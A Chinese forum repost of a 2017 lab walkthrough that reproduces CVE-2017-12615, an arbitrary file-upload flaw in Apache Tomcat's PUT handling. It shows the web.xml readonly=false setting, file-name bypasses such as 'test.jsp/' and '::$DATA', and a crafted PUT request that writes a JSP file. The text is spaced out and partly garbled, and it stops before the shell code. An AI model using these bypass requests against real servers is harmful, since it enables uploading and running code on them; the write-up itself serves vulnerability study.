搜索

[20906] 2017-09-21_CVE-2017-12615漏洞复现

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2017-09-21_CVE-2017-12615漏洞复现 C V E - 2 0 1 7 - 1 2 6 1 5 漏 洞 复 现 原 创   L e m o n   L e m o n S e c   2 0 1 7 - 0 9 - 2 1 我 本 地 搭 建 服 务 器 ， 下 载 的 是 T o m c a t / 7 . 0 . 5 3 安 装 j a v a 环 境 以 及 配 置 环 境 变 量 ， 不 在 详 细 演 示 下 载 T o m c a t ， 配 置 T o m c a t 路 径 到 环 境 变 量 输 入 内 容 如 下 ： 变 量 名 ： C A T A L I N A _ H O M E 变 量 值 ： 刚 刚 安 装 的 路 径 刚 刚 安 装 的 路 径 创 建 变 量 名 T O M C A T - H O M E 变 量 值 ： 刚 刚 安 装 的 路 径 在 C M D 输 入 s t a r t u p 启 动 服 务 验 证 是 否 配 置 成 功 打 开 t o m c a t 下 c o n f w e b . x m l 文 件   找 到         < s e r v l e t >
添 加 为 f a l s e < i n i t - p a r a m >         < p a r a m - n a m e > r e a d o n l y < / p a r a m - n a m e >         < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e >   < / i n i t - p a r a m >   r e a d o n l y 参 数 默 认 是 t r u e ， 即 不 允 许 d e l e t e 和 p u t 操 作 。 将 r e a d o n l y 设 置 为 f a l s e 即 允 许 d e l e t e 和 p u t 操 作 不 能 直 接 p u t   j s p 或 者 j s p x 文 件   在 w i n d o w s 下 可 以 用 、 、 来 绕 过   经 过 测 试 ， 最 新 版 a p a c h e - t o m c a t - 7 . 0 . 8 1 可 以 用 、 来 绕 过         < s e r v l e t >                 < s e r v l e t - n a m e > d e f a u l t < / s e r v l e t - n a m e >                 < s e r v l e t - c l a s s > o r g . a p a c h e . c a t a l i n a . s e r v l e t s . D e f a u l t S e r v l e t < / s e r v l e t - c l a s s >                 < i n i t - p a r a m >                         < p a r a m - n a m e > d e b u g < / p a r a m - n a m e >                         < p a r a m - v a l u e > 0 < / p a r a m - v a l u e >                 < / i n i t - p a r a m >                 < i n i t - p a r a m >                         < p a r a m - n a m e > l i s t i n g s < / p a r a m - n a m e >                         < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e >                 < / i n i t - p a r a m >                 < l o a d - o n - s t a r t u p > 1 < / l o a d - o n - s t a r t u p >         < / s e r v l e t > r e a d o n l y         < s e r v l e t >                 < s e r v l e t - n a m e > d e f a u l t < / s e r v l e t - n a m e >                 < s e r v l e t - c l a s s > o r g . a p a c h e . c a t a l i n a . s e r v l e t s . D e f a u l t S e r v l e t < / s e r v l e t - c l a s s >                 < i n i t - p a r a m >                         < p a r a m - n a m e > d e b u g < / p a r a m - n a m e >                         < p a r a m - v a l u e > 0 < / p a r a m - v a l u e >                 < / i n i t - p a r a m >                 < i n i t - p a r a m >                         < p a r a m - n a m e > l i s t i n g s < / p a r a m - n a m e >                         < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e >                 < / i n i t - p a r a m >                                 < i n i t - p a r a m >                               < p a r a m - n a m e > r e a d o n l y < / p a r a m - n a m e >                               < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e >                       < / i n i t - p a r a m >                 < l o a d - o n - s t a r t u p > 1 < / l o a d - o n - s t a r t u p >         < / s e r v l e t > t e s t . j s p / t e s t . j s p / . t e s t . j s p : : $ D A T A t e s t . j s p / t e s t . j s p / . P U T   / t e s t . j s p /   H T T P / 1 . 1
< % o u t . p r i n t l n ( " t e s t " ) ; % > 下 面 我 在 本 地 抓 取 正 常 访 问 数 据 包 将 g e t 方 法 改 成 p u t 方 法 包 里 内 容 做 如 下 更 改 测 试 文 件 成 功 写 入 P U T   / t e s t . j s p /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 3 5 . 1 3 2 : 8 0 8 0 C o n t e n t - L e n g t h :   2 5
下 面 写 入 s h e l l 代 码 数 据 包 你 内 容 更 改 如 下 代 码 利 用 c m d 方 式 如 下 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理